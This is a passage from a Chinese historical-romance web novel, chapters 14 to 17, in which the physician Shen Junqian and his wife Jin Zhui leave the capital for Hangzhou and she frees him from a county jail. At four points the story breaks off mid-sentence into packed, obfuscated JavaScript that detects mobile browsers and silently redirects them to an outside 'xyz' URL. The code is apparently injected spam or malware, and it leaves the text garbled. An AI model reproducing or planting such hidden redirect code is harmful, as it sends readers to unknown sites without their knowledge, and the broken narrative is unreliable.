祈威向君迁笑了笑,背过身去,望着墙上那把悬而未发的金带弓,决然道: “国家大事自有大长公主和金宰执操持,此事关乎民生福祉,我必要尽力促成。杭州通商繁荣,医学盛行,又有苏通判这样的清流砥柱在任上,天时地利人和,实为筹设施诊安济之所的不二佳址。” 君迁莞尔:“陛下仁济,臣代杭州百姓言谢。” “这也非我一人之事。先帝在时,便心系百姓养病之事。每遭天灾大疫,举国各处皆有许多灾民流离失所,先帝常忧心得夜不能寐。祈恩哥哥生前亦曾多次亲临坊间赈济布施,深谙老幼病残之苦……” 祈威年轻的脸庞在灯影下有些落寞。凝望着一星烛焰,沉声说道: “以往每逢灾疫,仅凭各地官府赈恤总是杯水车薪。地方药局多形同虚设,坊间虽有寺院、道观等协助救济,毕竟力有不逮,非长久之计——倘此次施济坊在杭州顺利建成,便将是举国首个官办施诊养病坊。此举若成,日后便可在各地推行开,使得孤幼有归,华发不匮,一纾贫病百姓无处安养之难。见微,你我相识多年,我想不到比你更适合主理这件事的人了……有劳了。” 祈威回身,见君迁面露踌躇,复又说道: “我知你忧心什么。官场人际非你之长,筹建官办病坊有许多关系要疏通,杭州府衙那边交给苏通判,户部和工部朕会尽力去争取,你只管安心行你专长之事。若有难处,咱们再作商议。” 君迁如释重负,正色道:“谢陛下,臣定竭力。” 祈威微笑着点点头,步至墙架边,从抽屉中取出一只小金匣递给君迁。 “辽使进献的金创散,草原上管这叫‘地灵脂’,听说能生死人肉白骨,想必也能治跌打挫伤。我也不懂这些,你带回去给金娘子敷上吧。她方才从马上摔那一跤,定不好受。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“这是恩哥哥曾与我说过的话。他生来便是云端之人,所寻亦是云端之物。我自知眼界有限,只得囿于此世尘网之中。这些时日,我经不住地想,哥哥如今真的飞去了云中,不知可在那里寻得他毕生所求的自由……” 帐外起了风,铁马清脆。拂过猎场的料峭春风裹着铮铮铃音入帐,转瞬将案上的残烛吹熄了。祈威如梦初醒,随何老中官走出帐去,回首向君迁赧然一哂: “抱歉……我不该提这些。” 此刻凭吊故人确不合时宜。无论是那些关乎兄弟夺嫡的风言风语,亦或沈君迁的新婚娘子与嘉陵王元祈恩之间的蜚短流长——斯人已逝,于情于理,他们都最好勿再言及过去。然而不再言及,过去便将绝尘而去么?正如一盏风烛,即便悄然烬灭,谁又能熄去它曾映在人心上的幽光? 君迁假装不明白这些事,随祈威一同出帐,目送少年天子乘上銮车远去,神情黯淡下来。 宴散人归,天色渐暗,阴云密布,不时响起几声闷雷,夜里必有一场大雨。皇家猎场上四野茫茫,远处飘来豢养在苑囿围栏内的鸟兽嚎叫,听来颇有些凄凉。君迁轻叹一声,扬鞭策马,趁落雨前赶回家去。 14.听雨眠 因在皇家春猎宴上为救贞太妃摔下马去,金坠被准先行归家修养,不必与他人一同随驾返城。宫里派来沈府随诊的两个太医都说她伤势不重,开了些跌打损伤的常方便回去了。 回到沈府已是酉时末,不多时便入了夜。暮色四合,华灯初上,城中忽有闷雷滚滚而起,继而淅淅沥沥地下起春雨来。金坠因伤处疼痛,加之折腾一日,一时心烦意乱,未用夕食便卧床去了。 “五娘睡了么?宫里贞太妃娘娘遣人给你送了东西来呢。” 宛童捧着只宫匣儿进屋来。金坠起身接过,见匣中是些果品香药,附有一张叶灼亲书字笺,祝福五姊姊早日康愈。金坠心中温暖,转念想到日间宫宴上自己先是遭嘉陵王妃等人当众讥讽,为救贞太妃摔了马却又无人问津,不禁满心酸楚。将匣子搁在案头,复又和衣躺下,只觉窗外雨声烦人,用被子裹着头辗转反侧。 宛童进出几回,见水食一口未少凉在案上,担忧道: “五娘伤成这样,沈学士竟到现在还不回来,只让那两个庸医来应付你,算什么话?” 金坠只晓得君迁先前被长公主留下问话,不知天子亦留他在帐中密授机宜。想到许是自己捡了贞太妃的香囊惹出了是非,心神不宁,闷着头道: “我没事,睡一觉便好了。” “我都进来好几回了,只听你疼得直叹气,饭都吃不下,哪里睡得着?”宛童急道,“沈学士再不回来,我就出去寻他,哪有娘子病重不闻不问的道理!” 金坠隔着被子冷冷道:“他是大忙人,不回家自有不回家的道理,哪怕我今天死了也是寻常!” “呸呸呸!五娘瞎说什么!求你别逞强了,这又不是在金府,受伤了憋着不敢喊疼!从马上摔下来怎会没事?” 宛童径自上前掀被,见金坠侧卧着,面露痛苦。宛童轻揭起她的里衣,只见后背上的伤处比先前青肿得更厉害,心疼极了。金坠安慰道: “这是淤血,没几日便消了,不必管它。我真的没事,也不怎么疼了,睡一晚便好了。你也去睡吧,听话。” 宛童正想再劝,忽闻叩门声响起,面露惊喜,忙前去应门。金坠心中亦是一动,只倚在榻上问道: “是谁这么晚了还过来?” 外间响起一个苍老和蔼的声音,不是别人,却是沈府的老管事谢翁。 “娘子歇了么?郎君嘱小老为您送药来,请娘子用了再睡哩。” 金坠一怔,忙道:“有劳您老人家,大半夜还亲自跑一遭——外头雨大,快请进屋吧。” 谢翁岂敢进屋,宛童再三相邀,只得远远立在厅中。老管事手捧一碗一盒,蓑衣上不住淌着雨水,见金坠想起身来迎,忙让她躺下。金坠吩咐宛童替他沏茶驱寒,谢翁连连道谢,饮下一盏热茶,将手里一路端来的药盏递给金坠道: “这是郎君回府后亲自为娘子熬的汤药,有几味药材家中没有,特冒雨去买来,因此迟了些。郎君还在药庐中忙着,苏合等几个丫头这会儿又都睡下了,小老便自己送来,委实叨扰娘子了……” 金坠“噢”了一声,指着药盏边上的那只白瓷小盒道:“这又是什么?” “这是郎君特制的金创药,请娘子涂抹在伤处,连抹几日便不疼了。” 谢翁说着递上那小药盒。金坠接过嗅了嗅,只觉那清苦幽香隐有些熟悉,蹙眉道: “这是什么做的?” “据说是赤芍,化瘀消肿分外见效哩。” “赤芍?” “是哩,便是芍药花儿的根做的!” “原来如此。”金坠搁下药盒,莞尔道,“夜雨寒凉,辛苦阿翁专程跑一遭。” “不妨不妨,娘子按方用药,早些痊愈才是要紧,也好教郎君安心哩!” 谢翁笑呵呵语毕,用完热茶,正要告辞,金坠踌躇片刻,唤住他问道: “他方才回来后……没说什么吧?” “没说什么啊。娘子可是有话同郎君说?小老这便去唤他过来……” “不必了!我这便要睡下了,阿翁也请早些休息吧。” 谢翁忙向金坠道了夜安,复又冒雨回去了。宛童扶着金坠坐起来,捧起床头那盏热气腾腾的汤药喂给她,笑道: “这倒合沈学士的作风,人没到,药先到了!五娘且按医嘱吧,莫辜负人家的苦心呢。” 金坠啜了一口药,苦着脸道:“他这心倒是够苦的!” “良药苦口利于病呀!” 宛童一哂,待金坠喝完了药,扶着她趴回塌上。拿起那只盛着药膏的雪白小瓷盒,揭开一嗅,叹道: “好香呀,是芍药做的么?原来这花儿不仅好看,还能用来治病呢!” 金坠道:“这芍药花儿开得正好,却被采下磨碎做成药,倒也可惜。” 宛童笑道:“都说好花不常开,与其在枝头挂谢了,不如入药救人攒些功德呢!” “一朵花儿罢了,还需攒功德?” “万物有灵,纵是花草鱼虫亦可为自己积功德福报,修得正果,转世为人亦未可知哩!”宛童正色道,“这是前回我回乡看我阿娘的时候,一个来化缘的跛足和尚告诉我的!” 金坠冷笑:“世人嫌尘世苦闷,且靠着花草鱼虫冶情养性,却一厢情愿地认为花草鱼虫会想转世为人?那和尚说出这等话来,可见自己亦未开悟,有何资格来指点别人?” 宛童听惯了她的一堆怪论,嗔道:“五娘毕竟是险些做了比丘尼的,自比旁人都悟得多!” 金坠淡然道:“我若真悟了,你我今日便不会在这间屋子里说话了。” 宛童撇撇嘴:“谁说呆在屋子里头就悟不得了?我看五娘也只是嘴上说说,自己的心究竟在何处,自己都不明白呢。” 金坠一怔:“你这话什么意思?” “五娘晓得我的意思!” 宛童将散着芍药芳香的药膏细细为金坠抹在背上,边抹边说道: “总之啊,心是不会准许自己空落落的,定会寻个什么去挂念。劝五娘凡事莫多想,跟着自己的心走便对了!” “这道理也是那个跛足和尚告诉你的?” “是我自己悟得的!五娘可比我聪明得多,不信你想不明白!” 宛童吃吃一笑,将用好的药盒搁在床头,见外面雨脚渐小,起身去开了半扇窗,让春夜湿润的微风飘入室中。 赤芍膏药抹在背上,似一只轻贴肌肤的手,冰凉之中蕴藏温煦。金坠趴在榻上,侧头听着潇潇春雨,恍惚觉得窗外的静夜中有成片芍药幽声绽放。宛童迎着夜风深吸一口气,不禁吟起了金坠曾教她的诗: “好雨知时节,当春乃发生。随风潜入夜,润物细无声……五娘好生歇息,雨停了病就会好了呢。” 君迁送来的药颇有效用,金坠服了汤饮,只觉气血通畅,通体沉静。那赤芍药膏更是灵验,伤处果不再作痛了。病体好转,心境亦不同旧时。此前还觉萧萧愁人的雨声听来已全无冷意,润物无声地洒在心田,不觉沉沉入眠,一夜无梦。 春雨下起来没完,一连淅沥数日。金坠卧床静养,听着春雨看着书,倒也不觉难熬。每日早晚君迁都让谢翁雷打不动地送药来,却严守着洞房之夜立下的规矩,从不亲自到她屋里来。金坠当然也不会主动去请他,每天擦着他的药膏,淤肿一天天好起来,逐渐能下榻走动。心里却仿佛有什么没着落,每夜只听着雨声发怔。 到了第七日拂晓,连绵不绝的雨终于停了。雨霁云散,万籁静谧,她却被一声尖叫惊醒。 “蛇……屋里有蛇!” 金坠猝然睁眼,只见宛童瑟缩在她床前,面色煞白,颤着手指向墙边阁架处。金坠心中一紧,顺着她手指的方向张望半晌,蹙眉道: “蛇在哪儿?我怎未见着?” “我适才见架上积了些灰,正擦着,忽见一条乌蛇从后头窜出来,吓得我魂都丢了!我一叫,它便钻进那只花瓶里了!”宛童花容失色,“五娘莫去,当心被咬!” 金坠屏息走近,探头往架上搁着的青瓷瓶中看去,俄而哑然失笑。 “我当什么呢,一条蚯蚓大的乌梢蛇,怕成这样!” “那也是蛇嘛!这沈府真是蛇鼠一窝!前几日,我还在院子里见到了蜈蚣壁虎,险些踩到呢!问谢翁为何不撒药除干净,他说沈郎言万物有灵,不让杀生——阿弥陀佛,那可是五毒啊!” “什么万物有灵,他是要留着这些蛇虫做药引,炼他的灵丹妙药呢。” 金坠冷冷一哂,从案上取来昨夜喝完的药盏,蓦地倒扣在那花瓶上。宛童急道: “五娘这是作甚!这碗还能用嘛!” “他好心给我送药来治病,我自当物归原主,再还他一副药引去。” 金坠语毕,也不梳洗,连瓶带蛇搬出屋,直奔书斋后的百草园。 正如她所料,一大清早,沈君迁果在他心爱的药庐中。木扉半掩,年轻的医者一身清浅素服,正背门跪坐在窗下的药案前,一手捧着本药典,一手在青石臼中捣药。绵密的沙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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“上回的驴肝肺不够稀奇,我给你带了新的来,你看可受用?” 君迁向瓶中瞥了一眼,面不改色:“多谢,蛇蜕是珍贵的肝经药材。” 金坠见未吓着他,心有不甘,撇撇嘴道: “我还以为你会直接拿这小蛇泡药酒呢!蛇蜕如何入药?” “乌梢蛇蜕皮一两半,露蜂房半两,煮三四沸,末之后入麝香少许,以鸡子清和涂之,可祛风退翳,散邪明目。” 君迁一面捣着手上的药,一面徐徐向她介绍药方。捣好后,将药泥从臼中倒出,转至灶头煎煮上,又道: “然常规蛇蜕散仅可外用,且效用有限。我近日在研制一种内服化毒新方,正需此物,多谢你送来。” 金坠笑道:“不客气,你的新方还需什么,我再替你寻寻?” 君迁从容道:“不需什么,不过蜈蚣三条、蜚蠊十个、干蟾两副,蜂蛹、蝉蛹皆半两……” 金坠的笑容僵在面上,冷冷道:“你确定这些东西都可入药?还是内服?” “剂量到位,万物皆可入药——” 君迁说着,顺手从案下堆放的数只瓦罐中取出一只,在她面前揭开——黑海似的毒虫七手八脚地在其中扭动身姿,一只硕大的蜚蠊重见天日,振翅而出,嗡地一声扑向金坠,停驻在她发上。 金坠愣了一愣,旋即发出比宛童今早更刺耳的尖叫。君迁叹了口气,正色道: “别动。” 金坠敛神屏息,见他走到跟前,伸手从自己发间捉下那可怖的虫子,举重若轻地扔回罐中,淡淡说完了接在“万物皆可入药”之后的两个字: “……内服。” 金坠深呼吸一口,双眼冒火直视他: “你还炼什么药?索性炼蛊去得了!上回相国寺前的那个苗疆神医与你相比,亦是小巫见大巫!” 君迁肃然道:“我行医是为了救人,不是害人。” 金坠冷笑一声,将那乌梢蛇盘踞的花瓶推至他那堆五毒药引之中。 “那这小蛇你拿去救人罢。不够的话自己抓去,反正你家里多得是,取之不尽用之不竭呢!” “此蛇尚幼,先放回去吧。若受了惊,恐不会蜕皮了。” 君迁取过花瓶,转身走出药庐,来到药园中,寻了片墙角的草丛,将那受惊的小蛇放走了。春风轻拂,园中草木簌簌有声,仿佛一阵温柔的低语。 一时无话。金坠看着蛇影消失在草丛深处,忽道: “那日宫宴后,他们留你问话到那么晚……都同你说了什么?” 15.之江南 君迁没想到她忽提及此事,略一犹豫道:“没说什么,只是询问了一些贞太妃的情况,叫我替她问诊。” “我给你的那只香囊呢?”金坠蹙眉,“那天我救太妃的时候,不小心将她身上的香囊拽了下来。刚摔下马那会儿疼得发晕,便没顾上。路上听你们说那马无端发狂,才想到交给你辨一辨……太妃堕马可与此有关?” 君迁见她起了疑心,想到与皇帝在御帐中的那番密谈,念及金坠身世恐她为难,特隐去金宰执下令彻查香囊中混入莽草之事,只道: “那香囊并无异处。” “当真?”金坠紧盯着他,“没混进什么叫马发狂的毒药吧?” 君迁摇摇头:“看不出来。大抵只是场意外。” 金坠松了口气,喃喃道:“那日把那香囊交给你我就后悔了,万一有什么问题,岂不自找麻烦。还好不是有人存心要害贞太妃……” 君迁眉眼低垂,并不接话,俯身去除药园里的杂草。金坠跟着他来到小园中央,四下环顾,问道: “你这园中共有多少种草药?” “至今春,所余四十三种。” 金坠一怔:“莫非以前更多?” 君迁颔首,起身四望,慢慢说道: “这片药园是曾祖父开辟的。先祖父及先父先母在世时,皆于此苦心耕耘,园中草药一度多达百种……他们走后,我疏于打理,此间已今非昔比了。” 春日清晨,雨霁天青,满园草木笼着昨夜的雨水,在日光下泛出薄薄的浅金。君迁凝望着春曦中葱翠欲滴的药园,容色淡然,掩藏无限心事。金坠不再多问,话锋一转道: “偌大的园子,单凭你一人确是料理不过来。可惜我对莳花弄草一窍不通,不然倒可替你搭把手。” 话音未落,君迁忽转身望向她,认真地说道: “七日之后,我将调职离京。届时家中无人,其余无妨,独这片药园我放心不下。你若愿替我照看一二,感激不尽。” 金坠听他忽然提及此事,并不意外,只道:“我也想帮你,可我已把行囊打包好了,就待出发下江南呢。” 君迁一怔:“你也要去?” “那日在相国寺前你不是同我说过吗?江南山清水秀,适合修生养性,我都迫不及待了。”金坠白他一眼,“你莫不是想撇下新婚娘子独自赴任吧?” 君迁看着她:“可我记得你并非是为修生养性吧?” 湖山秀美,不仅适合养性,更适合自尽——这是她那日初见说来戏弄他的,他竟还记得。金坠微微一哂: “那可未必,说不定去了杭州见西湖太美,一时贪生呢。” 她叹了口气,俯身轻抚着一簇开着金黄色小花的不知名本草,幽幽说道: “你说得对,帝京燥热,再在这儿待下去,我心火中烧成了一把灰,只得有劳你将我带去洒进西湖中了……” 君迁见她又说起胡话,淡淡道:“那还是你亲自去吧。” 金坠瞧见他那副略显嘲讽的神情,满心又想作弄他,遂指着那开得正好的花儿佯作要摘,抬眉问道: “这花儿我喜欢,能送给我么?” 出乎意料,君迁并未斥责她破坏草木,反主动俯身去摘花。金坠疑他用心不良,忙按住他的手道: “我随口说说的,你这儿都是珍稀药材,我可不敢要!” “萱草入药只取根茎,花本无用,摘了无妨。” 君迁语毕,将那金铃般的花儿摘下递给她。金坠愣了愣,接过花去轻嗅,故作嗔怨道: “我就知道,没用的东西才轮着我!若是好用的,才不肯给我呢!” “不是你说喜欢么?”君迁一脸无辜,“你若不要,还我便是。此花虽不可药用,却是提制芳油的良材。” 说着果伸出手去讨回。金坠岂会还他,冷哼一声,拈着那花儿转过身去;把玩了一阵,复又问道: “你调任杭州,怎不提前同我叔父说?先前可从没听他提过你要离京的事儿呢。” 君迁道:“临时受命,我自会与他说的。” “你明明与我成亲前便决定了,怎么是临时?”金坠盯着他,“到底什么事儿,神神秘秘的?” 君迁只道:“你去了便知。” 金坠见他语焉不详,懒得追问,徐徐道: “沈学士毕竟是国之重臣,临危受命,自有密诏,我可不想知道,也没资格知道——不过搭你的便车去杭州,看看湖山,修养一段时日罢了。” “不是车,是船。”君迁纠正道,“我们走水路去。” “水路?那更好!”金坠眼睛一亮,晏晏一笑,“百年修得同舟渡,你我可得好生珍惜这良机呢!” 她早在心中打了如意算盘。成亲以来,他们虽在同一屋檐下却也不常相见。她刚养好伤,此去江南山水迢迢,一路上两人大眼瞪小眼,正好狠狠折磨他一番。久闻江南繁华,不难寻到谋生自立的机会。等到了杭州天高皇帝远,她寻个时机金蝉脱壳,从此江湖不见,谅他也不敢来寻。 春日苦短,七日须臾飞逝,离京之时如期到来。帝京去杭州若走水路,需先至陈州渡口,再搭客船沿河南下。旅途漫漫,需二十余日方可抵达。调任江南的京官为省时间,一向都走陆路。除非任期宽裕者才选择泛舟南下,一路纵情山水,饱览风光—— 沈君迁如何也不似偷闲享乐之辈。对于他另辟蹊径的决定,金坠虽有不解,却很乐意起个清早随他去渡口登船。不管陆路水路,只要能离开这聒噪的帝京,她都求之不得。 出发前几日,君迁登门拜访,告知岳父请求调任之事。金宰执自是不满他先斩后奏,奈何他身负济世重任,只得依依不舍拍着爱婿的肩,作了番惜别劝勉之言。对于自己的亲侄女金坠,只让君迁带话叮嘱她“在外恭敬从夫”,足见对她的品性很不放心。 不必再留在帝京损害金氏名声,叔父叔母想必松了口气。此前春猎宴上,金坠旧伤未平再挂新彩,引得满座哗然,金宰执的老脸恐怕比她的伤处还疼呢。对金家人而言,仅她的存在便是令人尴尬的。身为一个失了名节的女子,离乡去家,远远消失在众目万口之下,便是她最好的归宿了。至于沈君迁是否情愿带着她去江南双宿双飞,恐只有他自身晓得。 此去归期未定,君迁毕竟身负密诏,皇帝特从御花园派了个精通草药的花匠到他家中照看药园,又叫人每日前来打理宅子。沈府管事谢翁带了府中几个侍从婢子一同赴杭照看他们夫妇起居,已提前一日启程先去杭州住处安顿。宛童本要留下服侍,因晕船走不了水路,只得随谢翁他们先去了。因此出发当日,只有金坠和君迁二人。 是日一早,风和日丽,四姊金尘特来送他们。趁着君迁去搬行李的当口,姊妹执手惜别,道了些体己话。金尘伤感地笑道: “早知你要去江南,前回我便不必让你姊夫大老远带那堆绣线绣料回来了。如今又要一路带去,岂不费劲?” 金坠亦笑:“多亏四姊姊赠礼,这段时日我可都靠着那些绣线过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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车马远行,一路把看了数十年的帝京风景抛之于后。金坠探出车窗,回身同此间唯一挂念的姊姊挥手作别,良久方坐回车中。 窗外春光融融,时有暖风入内,车厢中浸满了熏人醉意。二人并肩枯坐,金坠忽嗅到一阵清淡而熟稔的苦味儿;她误以为是从窗外飘入的,半晌才醒悟是君迁身上沾染的药草味道。 平日不觉,此刻与他咫尺同车,才发觉那一向令人皱眉掩鼻的苦药味于她已习以为常了,甚至竟有些……好闻。 金坠闻着那药香,倏然感到一阵燠热。侧目瞥向身旁,见君迁单手捧着本书在看。她百无聊赖,一手托着腮,倚在窗畔吹风。车厢忽地一颠,她搁在座上的那只手触到了他的。金坠刻意没动,就让他们的手若即若离地碰着。君迁似未察觉,仍旧埋首看着书。 金坠心中忽涌出股不可名状的懊丧,一把抽开了手,冷冷道: “这里没别人,你不必装了。” 君迁放下书:“什么?” “我……我说方才。”金坠嗫嚅,“四姊姊又不是外人,你何苦当着她的面做戏?” 君迁一脸无辜:“你怎知我在做戏?” 金坠撇过脸去:“我就是知道!” 君迁似笑非笑,一语未发,复又埋头看书。春日迟迟,轩车辘辘,一路宁静地载着他们出城,去向那通往江南的船渡口。 16.临江仙 二人乘车离开帝京,当晚便到了陈州。于馆驿歇息一夜,次日至渡口包船。不巧这日春光晴好,泛舟远游者甚众,渡口的船只一早都被人雇光了。为了省时,他们只得搭了艘熙攘的客舟,徐徐沿河南行。 客船可容十余人,陈设简陋,仅可席地而坐。君迁特意在船尾寻了个僻静处,不巧遇上一伙南下的商贾,一路日夜无休地交换着生意经,使这船上竟比大马路上还热闹。 金坠心烦意乱,看腻了外头的山水,便有一搭没一搭地躲在舱中刺绣。舟楫颠簸,纵是她这绣花好手也不得其力,只得放弃。侧目瞥见君迁兀自在一旁看书,神情专注如临无人之境,不禁有些嫉妒,便夺了他的书来看。君迁对她的乖张行径见怪不怪,也不与她计较,自己换了一本书看。如是数日,幸而苦海有涯,终于熬到了换乘的码头。 金坠迫不及待跳下甲板,但见这是一处十分幽静的渡口。岸上木匾写有“临淮渡”三字,春风簌簌,涛声寂寂。暮色四合,四下不见人影,岸边仅有寥寥几只小船随风轻荡,颇有一番野趣。 除了他们二人,无人在此下船。天色已晚,河口吹来的风令人瑟瑟发抖。君迁根据船家指点,寻到了离渡口最近的馆驿。二人摸黑前去,远见临淮镇口亮着几盏暖黄的灯,在夜幕下分外令人安心。 金坠暗暗松了口气。此地乍看渺无人烟,若寻不到客店,只怕今夜要露宿荒野了——毕竟沈君迁是那种即使幕天席地亦毫无怨色的人。如今他们在一条船上,恐她只得夫唱妇随了。 二人在馆驿安顿下来。君迁一如既往体贴入微,在驿吏询问要几间房前便迅速说出“两间”,熟练之态令人心酸。驿吏唯唯称是,暗中露出了恨其不争的同情神色。君迁自己倒很是持重,仍是那副冷静淡然的面孔。金坠叉着手作壁上观,只觉他这不卑不亢的姿态颇有些好笑。 君迁定好了房,回头见她似笑非笑地盯着自己,问道:“你笑什么?” 金坠幽幽道:“我在想,他们若只剩一间房了呢?” 君迁淡淡道:“又不是戏文话本,你想多了。” “亦或是你想少了。”金坠勾唇一哂,“前路未卜,谁知会遇上什么意想不到的险况呢?” 君迁坦荡道:“那我睡地上便是。” 金坠佯作心疼:“那可委屈夫君了!” “彼此。”君迁温言回敬,“娘子委身于我,亦不少委屈。” 金坠冷笑:“你晓得便好。” 二人上楼去往客房。到了金坠房前,君迁蓦地唤住她。金坠心下一惊,恐他居心叵测,却听他正色道: “明日先不赶路了。我需前去下游村落巡访三日,烦你在此等我。” 金坠一怔,问道:“我不能和你一起去么?” 君迁道:“村舍简陋,你住不惯的。况我公务在身,不便同行。你在此等我,三日后我便回来。此地偏僻,切勿随意走动。若有需求便告知驿吏,我已和他们说过,会护你周全。” 金坠故道:“我在此等你,你若不回来呢?” 君迁抿了抿唇:“那你便自己搭船去杭州吧。” 金坠哼了一声:“正合我意。” 话虽如此,独自一人待在乡下毕竟无聊。临淮县颇小,金坠不到半日便在驿吏陪伴下逛完了全城,只好回到馆驿闷坐。此后更是百无聊赖,度日如年,暗自盼着某人赶紧回来,好速速启程上路。早日到了杭州,她便可早日金蝉脱壳。 三日过后,沈君迁却并未回来。 他有公务在身,迟些正常。金坠管自己在屋中做绣活,未放在心上。等了整日,到第四日黄昏,终于坐不住了,匆匆跑下楼去。驿吏个个一问三不知,只劝她好生等等。金坠想也未想便冲出馆驿,刚走几步,又自觉莫名其妙—— 须臾便要天黑,她能去哪里寻他?即使他真出了什么事,又与她何干,犯得着如此坐立难安? 思及此处,金坠定下心神,慢慢踱回了馆驿中。正值夕食光景,驿吏端来了饮食。她全无胃口,只坐着呷茶。少顷,边上来了一桌住客,看模样是递送公文的铺兵,喝酒吃肉高谈阔论。金坠嫌吵,正想避而远之,忽听其中一人大声道: “听说了么?下游濠梁一带月前遭了桃花汛,几十个村子的田庄全淹了,死人堆成了山高,又闹了瘟疫,流民四处乱蹿。我今日刚从那儿过,啧啧,人间地狱不过如此!” 金坠闻言一凛,又听那人继续道: “说来你敢信?就那么个鬼地方,竟还碰上个救苦渡难来的活医仙!也不怕染病,挨家挨户给人问安送药,看病不收一分钱,也不肯说自己是打哪儿来的——那些病得快死的人见了他同见到神仙似的,都说他是药师如来下凡哩……” 另一人嗤笑:“你说的那人我晓得,什么药师如来,分明是个卖假药的江湖游医,被告发了还不服气,竟煽动刁民想造反哩!县衙早前已一伙拿下,这会儿正在牢里押着呢!” “这样啊?我还稀奇这年头竟有如此大善人,原是个趁火打劫发灾难财来的……” 金坠怔了一怔,疾步上前问道:“那人多大岁数?长的什么样?” 那铺兵被她吓了一跳,皱眉道:“年纪轻轻,模样倒挺斯文,可惜是个衣冠禽兽!这年头尽是恁般货色,我看得在他那张俊脸上刺个字,看他还敢做这坑蒙拐骗的勾当……” 金坠心急如焚,不待那人说完,转身回了屋。关上门来回踱步,思量片刻,匆匆换了一身轻装,跑下楼寻来个驿吏道: “请借我一匹快马。” 驿吏热心道:“天暗了,娘子要去哪儿?我驾车送你吧!” 金坠不愿多事,取出些钱递上。驿吏拿钱办事,便牵了匹小马来。那小马很不听话,她安抚了好一阵才颤巍巍地上了鞍,顾不得颠来簸去,趁着天边尚有一缕残阳,执辔往临淮县衙方向疾驰而去。 酉时过半,小城街头已见不到几家开着的铺子,很是萧条冷清。县衙前两个衙役正在关门,见金坠策马冲来,高声呵住她: “干什么的?” 金坠翻身下马,重击三下衙门前的鸣冤鼓,冷冷反问: “你说我是来干什么的? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16014050|177882||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 鼓音未落,一个书吏模样的人从门里出来,不耐烦地朝她挥了挥手: “时辰过了,有事儿明日再来!” 金坠寸步不退,朗声道:“听说贵衙狱中新收了个人?” 书吏白她一眼:“新收监的多了去,晓得你说哪一个?” 金坠道:“那烦请带我去认一认,我好将我夫君带回去。” 书吏冷笑一声,斜睨着她:“你夫家犯了事,不株连已是网开一面,还敢来这衙门公署要人?小娘子识不识字,可知法理二字怎么写?” 金坠亦是冷笑,不疾不徐地回道: “足下字识得多,可知天理二字如何写?——听说贵衙门今日抓了个人,与我夫君十分相似。我本不信有这等荒唐事,想着定是弄错了,便亲自来瞧瞧。可看这副阵仗,贵衙不会当真违天逆理,将当朝金宰执的女婿错当成了江湖骗子关进大牢吧?” 那书吏一听“金宰执”三字,抖了一抖,正视金坠道: “敢问娘子是……” “我夫君是金家的女婿,我还能是谁?”金坠正色道,“足下问的若是我的排行,只消去打探打探,嫁妆最多的那个便是。” 书吏一惊:“如此说来,娘子可是……” 金坠打断他:“又不是在街市上买菜,可别一口一个娘子。本朝有律,外命妇至官府诉案需以封号敬称。我毕竟有个四品奉恩令人的诰命,足下还是照规矩称我一声‘金令人’吧!” 那书吏闻言,神情局促。见金坠单枪匹马前来,又起疑心,不信她会纡尊降贵地出现在这破落小地方。金坠昂首道: “足下若有疑虑,不妨先去请教你的上司,请他上书吏部问问,看金宰执是否有个爱婿正要南下赴任。实不相瞒,我夫妇二人都是野性子,难得出京,本想求个清静,一路泛舟游山玩水,体验民风。谁知途径贵县,还没来得及写家书回去报平安,夫君却遭了这天大的误会,竟要在牢房里过夜了!” 那书吏越听越怕,赔笑脸请她进衙门等候,吩咐好生看茶,转身去县令家通禀了。 金坠暂将他唬住,松了口气,心仍跳个不停。独自在衙门里坐立难安,不时去门畔张望。半晌,外头匆匆跑过个衙役,看似是往牢房中去。 金坠一急,正要跟随,一个胖官员面粉团儿似的滚进来,高声唤了句“金令人”,躬身向她唱喏问安,自称是本县徐县令。金坠回了礼,皮笑肉不笑道: “天色不早,有劳徐县令亲自相迎。” 徐县令讪笑:“不知尊伉俪驾临鄙县,有失远迎,望金令人海涵!” 金坠微哂:“外子生性内敛,不愿四处留名。此行南下赴任,不想一到贵县便有这番礼遇,见所未见,倒也稀罕。” 徐县令慌忙拱手:“下面的人办事颟顸,折辱了尊夫,羞愧万分!还请金令人大人不记小人过,宽宥则个!” 说罢,扭头朝牢房那边高喝: “磨蹭什么?还不好生请那位官人出来!” 衙役悻悻回话:“禀县令,他不肯出来……” 17.星霜清 不待徐县令发话,金坠已疾步跑进临淮县牢中。牢房共有四五间,昏暗逼仄,霉臭熏天,乌泱泱关满了人。第一间的牢门已然大开,牢中一人背门而立,正是沈君迁;听见足音,头也不回道: “我已说了,若只放我一人,我是不会走的。” 金坠轻咳两声。君迁闻声一怔,蓦然回首,见她竟从天而降,满面错愕,蹙额道: “金坠?你怎么……” “我还想问你怎么来的呢!”金坠匆匆跑到他身边,见他满身风尘,神色比三日前分别时憔悴了不少,急道,“你……你没事吧?” 